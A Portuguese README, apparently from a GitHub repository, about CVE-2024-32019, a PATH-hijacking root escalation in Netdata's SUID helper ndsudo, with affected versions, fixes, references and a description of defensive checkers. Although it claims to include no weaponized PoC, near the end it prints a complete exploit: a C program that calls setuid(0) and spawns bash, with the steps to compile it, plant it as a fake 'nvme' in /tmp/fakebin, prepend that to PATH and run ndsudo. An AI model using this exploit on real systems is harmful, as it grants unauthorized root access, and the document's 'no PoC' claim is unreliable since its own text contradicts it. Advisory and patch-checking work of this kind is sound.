
Verifica a exposição à escalada de privilégios do SUID PATH do Netdata ndsudo para CVE-2024-32019 e valida patches sem exploração weaponizada.
ndsudo do NetdataO helper ndsudo do Netdata (instalado com setuid root) restringe quais comandos irá executar, mas resolve esses comandos usando o PATH do chamador. Em versões afetadas, um usuário local pode colocar um binário malicioso no início do PATH e fazer com que o ndsudo o execute com privilégios de root. Corrigido no Netdata 1.45.3 e 1.45.0-169.
Afetado: >= 1.44.0-60, < 1.45.0-169 e (conforme o aviso upstream).
>= 1.45.0, < 1.45.3Corrigido: 1.45.3 (estável), 1.45.0-169 (nightly). GitHub
Escalação de privilégios local para root em sistemas onde o ndsudo está instalado com SUID e o usuário pode invocá-lo (comumente membros do grupo netdata). NVDGitHub
O ndsudo é SUID-root e permite uma lista de subcomandos como nvme-list, nvme-smart-log, etc.
Ele chama executáveis externos pelo nome (por exemplo, nvme), que são resolvidos via PATH em vez de usar caminhos absolutos ou uma busca segura e fixa.
Se um diretório gravável aparecer antes dos caminhos do sistema, um atacante pode introduzir um binário semelhante que será executado como root. GitHub
Este repositório inclui verificadores não-exploit que:
Inspecionam /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (ou onde estiver instalado) quanto a SUID/propriedade.
Enumeram o PATH em busca de diretórios graváveis anteriores aos caminhos comuns do sistema.
Confirmam a presença de nomes de subcomandos permitidos que o ndsudo pode tentar executar.
Opcionalmente executam ndsudo --test <subcommand> para imprimir o comando resolvido sem executá-lo (use com cautela, leia o código primeiro). GitHub
⚠️ Nenhum PoC weaponizado está incluído. Este projeto é para defensores e pesquisadores avaliarem a exposição e validarem patches de forma responsável.
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Aviso do Netdata (GHSA-pmhq-4cxq-wj93). GitHub
Resumo da Wiz. wiz.io
Artigo da Snyk. Vulnerability Guide
Listagem MITRE/CVE. CVE